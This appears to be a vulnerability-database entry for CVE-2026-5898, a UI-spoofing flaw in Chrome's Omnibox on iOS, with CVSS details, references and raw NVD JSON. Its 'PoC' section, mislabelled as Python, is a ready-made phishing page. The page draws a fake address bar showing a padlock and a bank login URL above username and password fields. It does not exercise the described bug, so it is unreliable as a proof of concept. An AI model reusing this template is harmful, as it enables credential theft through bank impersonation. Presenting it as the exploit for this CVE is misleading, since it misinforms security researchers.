CVE-2026-5898

Description

Incorrect security UI in Omnibox in Google Chrome on iOS prior to 147.0.7727.55 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on iOS < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for Chrome iOS UI Spoofing -->
<!-- This demonstrates a fake address bar overlay -->
<!DOCTYPE html>
<html>
<head>
<style>
  body {
    margin: 0;
    padding-top: 60px; /* Offset for fake bar */
    font-family: sans-serif;
  }
  #fake-omnibox {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    height: 60px;
    background-color: #ffffff;
    border-bottom: 1px solid #dcdcdc;
    display: flex;
    align-items: center;
    padding: 0 15px;
    box-shadow: 0 2px 5px rgba(0,0,0,0.1);
    z-index: 9999;
  }
  .lock-icon {
    color: #5f6368;
    margin-right: 10px;
    font-size: 14px;
  }
  .fake-url-bar {
    background-color: #f1f3f4;
    border-radius: 20px;
    padding: 8px 15px;
    flex-grow: 1;
    color: #202124;
    font-size: 14px;
    text-align: center;
  }
</style>
</head>
<body>
  <!-- Simulated Browser UI -->
  <div id="fake-omnibox">
    <span class="lock-icon">🔒</span>
    <div class="fake-url-bar">https://www.secure-bank.com/login</div>
  </div>

  <!-- Malicious Content -->
  <div style="padding: 20px;">
    <h2>Account Verification</h2>
    <p>Please confirm your identity to continue.</p>
    <input type="text" placeholder="Username" style="width: 100%; padding: 10px; margin-bottom: 10px;">
    <input type="password" placeholder="Password" style="width: 100%; padding: 10px; margin-bottom: 10px;">
    <button style="width: 100%; padding: 10px; background: #1a73e8; color: white; border: none;">Login</button>
  </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5898
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5898
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5898/
[4] VulDB https://vuldb.com/cve/CVE-2026-5898
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/470295118

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5898", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:29.690", "lastModified": "2026-04-13T21:17:07.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Omnibox in Google Chrome on iOS prior to 147.0.7727.55 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/470295118", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}